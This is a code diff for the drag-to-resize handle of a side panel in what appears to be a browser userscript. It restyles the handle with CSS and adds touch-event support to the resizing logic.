-#ht-ai-resizer:hover{background:rgba(255,255,255,.05)}`; +#ht-ai-resizer{position:absolute;left:0;top:0;width:8px;height:100%;cursor:ew-resize;background:rgba(255,255,255,.08);border-right:1px solid rgba(255,255,255,.15);transition:background .2s ease} +#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)} +#ht-ai-resizer:active{background:rgba(255,255,255,.25)} +#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`; const s = document.createElement("style"); s.id = "ht-ai-style"; s.textContent = css; @@ -432,24 +451,43 @@ const onMove = (e) => { if (!dragging) return; - const dx = startX - e.clientX; // dragging leftwards ⇒ +dx + e.preventDefault(); + const clientX = e.clientX || (e.touches && e.touches[0].clientX); + const dx = startX - clientX; // dragging leftwards ⇒ +dx let newW = startW + dx; newW = Math.min(Math.max(newW, MIN_W), MAX_W); panel.style.width = newW + "px"; }; + const onUp = () => { if (!dragging) return; dragging = false; + handle.style.background = ""; + document.body.style.userSelect = ""; + document.body.style.cursor = ""; localStorage.setItem("htAiWidth", parseInt(panel.style.width, 10)); document.removeEventListener("mousemove", onMove); document.removeEventListener("mouseup", onUp); + document.removeEventListener("touchmove", onMove); + document.removeEventListener("touchend", onUp); }; - handle.addEventListener("mousedown", (e) => { + + const onStart = (e) => { + e.preventDefault(); dragging = true; - startX = e.clientX; + startX = e.clientX || (e.touches && e.touches[0].clientX); startW = parseInt(window.getComputedStyle(panel).width, 10); + handle.style.background = "rgba(255,255,255,.25)"; + document.body.style.userSelect = "none"; + document.body.style.cursor = "ew-resize"; + document.addEventListener("mousemove", onMove); document.addEventListener("mouseup", onUp); - }); + document.addEventListener("touchmove", onMove, { passive: false }); + document.addEventListener("touchend", onUp); + }; + + handle.addEventListener("mousedown", onStart); + handle.addEventListener("touchstart", onStart, { passive: false }); } })();